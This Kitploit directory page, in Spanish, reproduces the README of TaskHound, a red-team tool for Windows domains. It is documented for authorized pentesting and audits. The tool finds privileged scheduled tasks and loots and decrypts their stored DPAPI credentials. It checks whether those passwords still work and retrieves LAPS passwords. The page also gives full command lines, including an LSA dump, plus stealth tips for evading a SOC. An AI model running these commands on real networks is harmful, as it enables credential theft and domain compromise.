Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
TaskHound — Herramienta para enumerar tareas programadas privilegiadas en sistemas remotos. | Kitploit
Herramientas/GitHubGitHub/1r0bit/taskhound
Escalada de PrivilegiosReconocimientoMovimiento LateralRecopilación de InformaciónPost-ExplotaciónPruebas de PenetraciónRed Teaming
GitHub1r0bit/taskhound

TaskHound

Herramienta para enumerar tareas programadas privilegiadas en sistemas remotos.

Ver Repositorio
31225hace 4 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

TaskHound Logo

Herramienta de descubrimiento de tareas programadas privilegiadas de Windows para diversión y beneficio.

Latest Release BloodHound OpenGraph Python 3.11+
Ask DeepWiki Twitter Blog


TaskHound busca tareas programadas de Windows que se ejecutan con cuentas privilegiadas y credenciales almacenadas. Enumera tareas a través de SMB, analiza XML y detecta oportunidades de ataque de alto valor mediante la integración con BloodHound.

Para conocer los antecedentes y explicaciones detalladas: consulta las publicaciones del blog asociadas: Parte 1 y Parte 2.

Características principales

Inicio rápido```bash

Install

git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .

Basic usage - single target

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple targets with threading

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10

Auto-discover all domain computers

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20

With LAPS - auto-retrieves per-host local admin passwords

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

Offline analysis of mounted disk image

taskhound --offline-disk /mnt/disk

root@kitploit:~
> **Soporte de autenticación**: TaskHound admite la mayoría de los mecanismos de autenticación principales, incluidos contraseña, hash NTLM, Kerberos (también con ccache) y autenticación con clave AES.

## Archivo de configuración

TaskHound admite archivos de configuración TOML para ajustes persistentes. Crea `taskhound.toml` en tu directorio de trabajo o en `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"

[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30

[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}"      # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"

[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"

[laps]
enabled = true

[cache]
enabled = true
ttl = 86400  # 24 hours

Prioridad: Argumentos CLI > Variables de entorno > Configuración local > Configuración de usuario > Predeterminados

Integración con AdaptixC2

El BOF de TaskHound está incluido en el Adaptix Extension-Kit en SAR-BOF/taskhound/.

Salida de demostración```

TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD

root@kitploit:~
                 by 0xr0BIT

[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)

┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘

╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯

╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯

root@kitploit:~
---

## Integración con BloodHound

TaskHound admite tanto **Legacy BloodHound** (Neo4j) como **BloodHound Community Edition (BHCE)** con detección automática de formato.

### Conexión en vivo```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"

# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --bhce --bh-connector http://127.0.0.1:8080 \
  --bh-user admin --bh-password password

# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
  --bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
  --bh-user neo4j --bh-password password

Métodos de detección de Tier 0

Ingestión de datos sin conexión

Si no es posible una conexión en vivo, exporta usuarios de alto valor con estas consultas Cypher:

BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;

root@kitploit:~
**Legado:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups

Luego use: taskhound --bh-data exported_users.json ...


Visualización de rutas de ataque OpenGraph

Ruta de ataque OpenGraph

TaskHound crea nodos y aristas personalizados en BloodHound CE para visualizar rutas de ataque de tareas programadas.

Lo que obtienes:

  • Nodos personalizados: ScheduledTask con 20+ propiedades (credenciales, desencadenadores, análisis de contraseñas, estado de validación)
  • Aristas personalizadas: HasTask, HasTaskWithStoredCreds, RunsAs
  • Rutas de ataque: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash

Collect and auto-upload

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph

Generate without upload (saves to {output_dir}/opengraph/)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload

root@kitploit:~
> **Nota**: OpenGraph es solo para BHCE. Legacy BloodHound no admite tipos de nodo personalizados.

---

## Integración con LAPS

TaskHound puede recuperar y utilizar automáticamente las contraseñas LAPS para la autenticación por host. Admite tanto Windows LAPS (`msLAPS-Password`) como Legacy LAPS (`ms-Mcs-AdmPwd`), incluidas las contraseñas cifradas mediante MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10

# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin

# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps

Tipos de LAPS compatibles:

TipoAtributoCifrado
Windows LAPSmsLAPS-PasswordNo
Windows LAPS

Extracción de credenciales DPAPI

TaskHound extrae y descifra las credenciales de tareas almacenadas mediante DPAPI. El saqueo de DPAPI está habilitado por defecto.```bash

Step 1: Get DPAPI_SYSTEM key via LSA dump

nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa

Look for: DPAPI_SYSTEM userkey: 0x51e43225...

Step 2a: Loot + decrypt immediately (looting is default, just add key)

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...

Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local

Later:

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

Custom output directory

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected

Disable DPAPI looting explicitly

taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot

root@kitploit:~
> **Importante**: Cada host tiene una clave DPAPI_SYSTEM única. Para escaneos de múltiples objetivos, recopila (por defecto) y luego descifra cada objetivo sin conexión.

---

## Validación de credenciales

TaskHound evalúa si las contraseñas de tareas almacenadas probablemente sigan siendo válidas consultando el historial de ejecución de tareas mediante RPC y aplicando heurísticas. Esto está **habilitado por defecto**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds

Cómo funciona

El Programador de tareas de Windows solo registra las ejecuciones de tareas correctas. Los errores de autenticación (contraseña incorrecta, cuenta bloqueada, etc.) se ignoran silenciosamente. La tarea simplemente no se ejecuta.

Idea clave: Windows valida las credenciales al crear la tarea. Si intentas crear una tarea con una contraseña incorrecta, obtienes ERROR_LOGON_FAILURE y la tarea no se crea. Esto significa: si existe una tarea con credenciales almacenadas, la contraseña era válida cuando se creó la tarea.

TaskHound utiliza heurísticas para estimar la validez de las credenciales:

La idea clave: comparar pwdLastSet de AD con LastRunTime del Programador de tareas nos indica si la contraseña cambió después de la última ejecución correcta. Para tareas que nunca se ejecutaron, comparar pwdLastSet con task_creation_date nos indica si la contraseña cambió después de que la tarea se creara con credenciales válidas.

Sin datos de AD (p. ej., --no-ldap y sin BloodHound): TaskHound recurre al modo solo RPC, utilizando solo el código de retorno y la hora de la última ejecución. Una ejecución correcta devuelve LIKELY_VALID; la detección de obsolescencia basada en la programación sigue aplicándose si se conoce el intervalo del desencadenador a partir del XML de la tarea.

Nota: Deshabilitado cuando se usa --opsec o --no-rpc.


Formatos de salida

TaskHound admite múltiples formatos de salida para diferentes casos de uso. Todas las salidas utilizan una estructura de directorios organizada bajo --output-dir (por defecto: ./output).

Formatos disponibles

Ejemplos de uso```bash

Default - plain text to console + files

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local

Multiple output formats

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html

JSON only for automation

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json

Custom output directory

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results

All formats for comprehensive audit

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit

root@kitploit:~
### Estructura de directorios```
./output/                           # Base directory (--output-dir)
├── plain/                          # Plain text output
│   └── <hostname>/
│       └── tasks.txt
├── json/                           # JSON export
│   └── taskhound.json
├── csv/                            # CSV export
│   └── taskhound.csv
├── html/                           # HTML security reports
│   └── taskhound.html
├── opengraph/                      # BloodHound OpenGraph files
│   └── taskhound_data.json
└── raw_backups/                    # Raw collection (XML + DPAPI)
    └── <hostname>/
        ├── tasks/                  # Task XML files
        └── dpapi_loot/             # DPAPI credential blobs

Informes de seguridad en HTML

La salida HTML genera un informe de seguridad exhaustivo diseñado para evaluaciones de equipo azul:

  • Puntuación de severidad: Tareas clasificadas por nivel de riesgo según privilegios, credenciales almacenadas y configuración
  • Detalles de la tarea: Metadatos completos que incluyen desencadenantes, acciones, cuentas de ejecución y estado de validación
  • Filtrado: Filtrado en el lado del cliente por host, severidad y estado de credenciales
  • Listo para exportar: Adecuado para informes de gestión y documentación de auditoría

Recopilación de copias de seguridad

De forma predeterminada, TaskHound guarda archivos XML de tareas sin procesar y blobs de credenciales DPAPI para análisis sin conexión:```bash

Disable backup collection

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup

Analyze backups later (offline mode)

taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...

root@kitploit:~
---

## Escaneo Multihebra

Para entornos grandes, usa escaneo paralelo con limitación de velocidad:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5

# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20

# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90

# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0

Filtrado automático de objetivos

Por defecto, --auto-targets aplica un filtrado inteligente para reducir el ruido y las conexiones fallidas:

FiltroPredeterminadoAnulación
Cuentas deshabilitadas

Prioridad de fuentes de datos: BloodHound (si está configurado) → respaldo LDAP

Al usar BloodHound, TaskHound realiza consultas con include_properties=true para una enumeración eficiente de una sola consulta. Si los datos de BloodHound tienen más de 7 días, se muestra una advertencia; más de 30 días activa una advertencia urgente.

Presets de filtro:

  • servers - solo sistemas operativos Windows Server
  • workstations - solo sistemas operativos no servidor
  • (raw LDAP) - filtro LDAP personalizado (requiere fuente LDAP)

Resolución de SID

TaskHound resuelve los SID a nombres legibles mediante una cadena de respaldo de varios niveles:

  1. BloodHound (si está conectado) - el más rápido, sin tráfico de red
  2. Caché - caché persistente SQLite (TTL predeterminado de 24h)
  3. LSARPC - consulta directa al objetivo (la más precisa para cuentas locales)
  4. LDAP - consulta al controlador de dominio
  5. Catálogo global - para SID entre dominios/bosques```bash

Separate LDAP credentials for SID resolution

taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local

Specify Global Catalog for multi-domain

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1

Disable all network-based resolution (OPSEC)

taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec

root@kitploit:~
---

## Análisis sin conexión

Analiza tareas sin acceso a red:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local

# Mounted disk image
taskhound --offline-disk /mnt/disk

# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE

Consideraciones de OPSEC

TaskHound proporciona un control granular sobre las operaciones de red para equilibrar el sigilo frente a la funcionalidad.

Impacto en los protocolos

Cadena de resolución de SID```

Default: BloodHound → Cache → LSARPC → LDAP → GC --no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC --opsec: BloodHound → Cache (only)

root@kitploit:~
### Comportamiento por defecto

TaskHound es **muy ruidoso por defecto** - todas las funciones están habilitadas para obtener la máxima visibilidad. Esto lo hace ideal para auditorías y evaluaciones exhaustivas donde la OPSEC no es una preocupación:

- **Detección de Credential Guard** - Habilitada por defecto (deshabilitar con `--no-credguard`)
- **Validación de credenciales** - Habilitada por defecto (deshabilitar con `--no-validate-creds`)
- **Saqueo de DPAPI** - Habilitado por defecto (deshabilitar con `--no-loot`)
- **Resolución LDAP** - Habilitada por defecto (deshabilitar con `--no-ldap`)
- **Operaciones RPC** - Habilitadas por defecto (deshabilitar con `--no-rpc`)

> [!WARNING]
> **Las comprobaciones de Credential Guard son ALTAMENTE detectables.** Dado que el servicio Remote Registry está detenido por defecto en Windows moderno, TaskHound iniciará remotamente **el servicio** a través de SCM, realizará las comprobaciones y luego lo detendrá (igual que secretsdump). Esto hará que cualquier SOC decente se ilumine como un árbol de Navidad. **Definitivamente usa `--no-credguard` si quieres evitar esto en los engagements.**

Hablando de engagements: para operaciones de red team o sigilosas, usa `--opsec` para deshabilitar todas las funciones ruidosas a la vez. (O usa el BOF).

### Ejemplos de uso```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec

# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5

# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap

# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc

# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps

Mejores prácticas para el sigilo

  1. Precargar los datos de BloodHound - Importa primero los datos del dominio con --bh-live
  2. Usar la opción --opsec - Desactiva todas las operaciones ruidosas de una vez
  3. Añadir --jitter para la aleatorización de tiempos - Evita patrones de escaneo predecibles
  4. Recopilar los XML por otros medios - Analiza sin conexión con --offline
  5. Usar la implementación de BOF - Disponible en AdaptixC2

Referencia completa de la CLI

TaskHound usa Rich para la salida de consola formateada con tablas de colores e indicadores de progreso.``` taskhound --help

root@kitploit:~
<details>
<summary>Haz clic para expandir el uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]

AUTHENTICATION OPTIONS
  -u, --username        Username (required for online mode)
  -p, --password        Password (omit with -k for Kerberos/ccache)
  -d, --domain          Domain (required for online mode)
  --hashes              NTLM hashes (LM:NT or NT-only)
  -k, --kerberos        Use Kerberos authentication
  --aes-key             AES key for Kerberos (32 or 64 hex chars)

TARGET OPTIONS
  -t, --target          Single target or comma-separated list
  --targets-file        File with targets, one per line
  --dc-ip               Domain controller IP
  --ns, --nameserver    DNS nameserver for lookups
  --timeout             Connection timeout in seconds (default: 5)
  --threads             Parallel worker threads (default: 10)
  --rate-limit          Max targets per second (default: unlimited)
  --jitter SECONDS      Random delay (0-N seconds) between hosts (OPSEC, sequential only)
  --dns-tcp             Force DNS over TCP (for SOCKS proxies)
  --auto-targets        Auto-discover targets (BloodHound first, LDAP fallback)
  --ldap-filter         Filter for auto-targets: 'servers', 'workstations', or raw LDAP
  --include-dcs         Include Domain Controllers in auto-targets
  --include-disabled    Include disabled computer accounts
  --stale-threshold     Exclude computers inactive >N days (default: 60, 0=disable)

SCANNING OPTIONS
  --offline             Parse XMLs from directory
  --offline-disk        Analyze mounted Windows filesystem
  --disk-hostname       Override hostname for offline-disk
  --bh-data             BloodHound export file for HV detection
  --opsec               Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
  --no-rpc              Disable RPC operations (LSARPC, CredGuard, validation)
  --include-ms          Include \Microsoft tasks
  --include-local       Include local system accounts
  --include-all         Include ALL tasks
  --unsaved-creds       Show tasks without stored credentials
  --no-credguard        Disable Credential Guard detection (default: enabled)
  --no-validate-creds   Disable credential validation (default: enabled)

BLOODHOUND OPTIONS
  --bh-live             Enable live BloodHound connection
  --bh-connector        BloodHound URI (default: http://127.0.0.1:8080)
  --bh-user             BloodHound username
  --bh-password         BloodHound password
  --bh-api-key          BloodHound API key
  --bh-api-key-id       BloodHound API key ID
  --bh-timeout          API query timeout (default: 120)
  --bhce                Use BHCE (Community Edition)
  --legacy              Use Legacy BloodHound (Neo4j)
  --bh-save             Save query results to file

OPENGRAPH OPTIONS (BHCE ONLY)
  --bh-opengraph        Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
  --bh-no-upload        Skip automatic upload
  --bh-force-icon       Force icon update
  --bh-icon             Icon name (default: clock)
  --bh-color            Icon color (default: #8B5CF6)
  --bh-allow-orphans    Create edges for missing nodes

DPAPI OPTIONS
  --no-loot             Disable DPAPI credential collection (default: enabled)
  --dpapi-key           DPAPI_SYSTEM userkey (hex format)

LDAP/SID RESOLUTION
  --no-ldap             Disable LDAP/GC operations
  --ldap-user           Alternative LDAP username
  --ldap-password       Alternative LDAP password
  --ldap-hashes         Alternative LDAP hashes
  --ldap-domain         Alternative LDAP domain
  --ldap-tier0          Enable LDAP-based Tier-0 detection
  --gc-server           Global Catalog server IP

LAPS OPTIONS
  --laps                Enable LAPS authentication
  --laps-user           Override local admin username
  --force-laps          Force LAPS in OPSEC mode

CACHE OPTIONS
  --cache-ttl           Cache TTL in seconds (default: 86400)
  --no-cache            Disable caching
  --clear-cache         Clear cache before run
  --cache-file          Cache file path

OUTPUT OPTIONS
  -o, --output          Output formats (comma-separated: plain,json,csv,html)
                        Default: plain
  --output-dir          Base output directory (default: ./output)
  --no-backup           Disable raw XML backup collection
  --no-summary          Disable summary table

  Output directory structure:
    ./output/
    ├── plain/<host>/tasks.txt    # Plain text output
    ├── json/taskhound.json       # JSON export
    ├── csv/taskhound.csv         # CSV export
    ├── html/taskhound.html       # HTML security report
    ├── opengraph/                # BloodHound OpenGraph files
    └── raw_backups/<host>/       # Raw XML + DPAPI files
        ├── tasks/                # Task XML files
        └── dpapi_loot/           # DPAPI credential blobs

MISC
  --verbose             Verbose output
  --debug               Debug output with stack traces

Hoja de ruta

Cuando la ingesta de cafeína y el tiempo libre se alinean:

Completado recientemente

  • Autenticación por clave API - solicitudes firmadas con HMAC-SHA256
  • Soporte LAPS - Windows LAPS + Legacy + cifrado mediante MS-GKDI
  • Procesamiento multihilo - Escaneo paralelo con limitación de velocidad
  • Validación de credenciales - Comprobación de validez de contraseñas basada en RPC
  • Múltiples formatos de salida - Texto plano, JSON, CSV, HTML con estructura de directorios organizada
  • Descubrimiento automático de objetivos - Enumeración de equipos basada en LDAP
  • Modo de disco sin conexión - Análisis de imágenes de disco montadas
  • Caché persistente - Caché SQLite para datos SID/LAPS
  • Salida de consola enriquecida - Tablas de colores e indicadores de progreso
  • Soporte entre dominios - Entornos multidominio con relaciones de confianza

Planificado

  • Modularización de etapas: Esto se convirtió en un monstruo con demasiados parámetros. Lo arreglaré.
  • Integración de información de abuso: Técnicas MITRE ATT&CK en nodos de BloodHound
  • Asignaciones personalizadas de Tier-0: Soporte para zonas de privilegios definidas por el usuario en BHCE
  • Comprobaciones en Linux: Soporte para escanear sistemas operativos basados en *nix

Agradecimientos

  • Fortra/Impacket - SMB/RPC/Kerberos, DPAPI-NG, MS-GKDI
  • SpecterOps/BloodHound - Análisis de rutas de ataque
  • Podalirius/bh-opengraph - Inspiración para OpenGraph
  • Pennyw0rth/NetExec - Referencia de implementación de LAPS
  • jborean93/dpapi-ng - Investigación sobre DPAPI-NG
  • tijldeneut/DPAPIck3 - Referencia de descifrado de DPAPI
  • gentilkiwi/mimikatz - Investigación sobre DPAPI

Y a todos los que contribuyeron a hacer accesibles las herramientas de seguridad ofensiva.


Descargo de responsabilidad

TaskHound es estrictamente una herramienta de auditoría y educativa. Úsala únicamente en entornos que poseas o para los que tengas autorización explícita de prueba. En serio. No seas un imbécil.

Contribuciones

Se aceptan PRs. La mitad de esto fue codificar por vibra inducida por cafeína, así que no esperes milagros.

Licencia

Úsala de forma responsable. No se proporciona garantía alguna. Consulta LICENSE para más detalles.

Descargar herramienta
CaracterísticaDescripción
Detección de Tier 0 y alto valorIdentifica automáticamente tareas que se ejecutan como administradores de dominio, administradores empresariales y otras cuentas privilegiadas
Integración con BloodHoundConéctate a instancias BHCE/Legacy en vivo o ingiere exportaciones para la detección de usuarios de alto valor
Soporte OpenGraphVisualiza las tareas programadas como nodos de ruta de ataque en BloodHound CE
Integración con LAPSRecupera y usa automáticamente contraseñas LAPS (tanto Windows LAPS como Legacy) para la autenticación por host
Extracción de credenciales DPAPIRecopila y descifra blobs DPAPI que contienen credenciales de tareas almacenadas
Escaneo multihiloProcesamiento paralelo de objetivos con limitación de velocidad para entornos grandes
Detección de Tier-0 basada en LDAPDetecta cuentas privilegiadas mediante la pertenencia a grupos sin BloodHound
Validación de credencialesVerifica si las contraseñas de tareas almacenadas siguen siendo válidas mediante RPC
Análisis sin conexiónProcesa imágenes de disco montadas o XML recopilados previamente
Múltiples formatos de salidaInformes de seguridad en texto plano, JSON, CSV y HTML con puntuación de severidad
Resolución de SIDResolución en múltiples niveles mediante BloodHound → Caché → LSARPC → LDAP → GC
Almacenamiento en cachéCaché persistente basado en SQLite para búsquedas de SID y credenciales LAPS
FuenteMétodo de detección
BHCEisTierZero, etiquetas del sistema (admin_tier_0), AdminSDHolder
LegacyAdminSDHolder (admincount=1), detección basada en SID
LDAPConsultas de pertenencia a grupos (--ldap-tier0)
Built-inSID de Tier 0 conocidos (Domain Admins, Enterprise Admins, etc.)
msLAPS-EncryptedPassword
Sí (MS-GKDI)
LAPS heredadoms-Mcs-AdmPwdNo
EstadoSignificado
CONFIRMED_VALIDContraseña sin cambios desde la creación de la tarea Y la tarea se ejecutó dentro de la programación esperada: credenciales confirmadas como válidas
HIGH_CONFIDENCE_VALIDContraseña sin cambios desde la creación de la tarea, pero se desconoce el momento del desencadenador (p. ej., desencadenador de arranque): credenciales probablemente válidas
LIKELY_VALIDContraseña cambiada pero la tarea se ejecutó dentro de la programación (credenciales actualizadas), O la tarea se ejecutó correctamente (modo solo RPC)
POSSIBLY_STALELa tarea debería haberse ejecutado pero no lo ha hecho: puede indicar credenciales obsoletas
DEFINITELY_STALEContraseña cambiada después de la última ejecución correcta: las credenciales son definitivamente incorrectas
NEVER_RAN_LIKELY_VALIDLa tarea nunca se ejecutó, pero la contraseña no ha cambiado desde su creación: probablemente válida (puede carecer de derechos de inicio de sesión por lotes)
NEVER_RAN_POSSIBLY_STALELa tarea nunca se ejecutó y la contraseña cambió después de su creación: probablemente obsoleta
NEVER_RAN_UNKNOWNLa tarea nunca se ejecutó, sin contexto de AD: era válida en la creación, se desconoce el estado actual
UNKNOWNNo se puede determinar (cuenta bloqueada, etc.)
FormatoIndicadorDescripciónCaso de uso
Plain-o plainSalida de consola legible (por defecto)Uso interactivo, revisión rápida
JSON-o jsonExportación estructurada legible por máquinaAutomatización, análisis de datos, scripting
CSV-o csvExportación compatible con hojas de cálculoInformes, filtrado, análisis con Excel
HTML-o htmlInforme de seguridad con puntuación de gravedadAuditorías de equipo azul, informes para interesados
Excluidas
--include-disabled
Equipos inactivos (>60 días)Excluidos--stale-threshold 0 (deshabilitar)
Controladores de dominioExcluidos--include-dcs
ProtocoloOperacionesOpción para deshabilitar
SMBEnumeración de tareas (siempre utilizada)N/A
LDAP (389/636)Resolución de SID, detección de Tier-0, pwdLastSet--no-ldap
Global Catalog (3268)Resolución de SID entre dominios--no-ldap
LSARPC (SMB pipe)Resolución de SID alternativa--no-rpc
Remote Registry (SMB pipe)Detección de Credential Guard--no-credguard
Task Scheduler RPC (SMB pipe)Validación de credenciales--no-validate-creds
DPAPI file collection (SMB)Recopilación de blobs de credenciales DPAPI--no-loot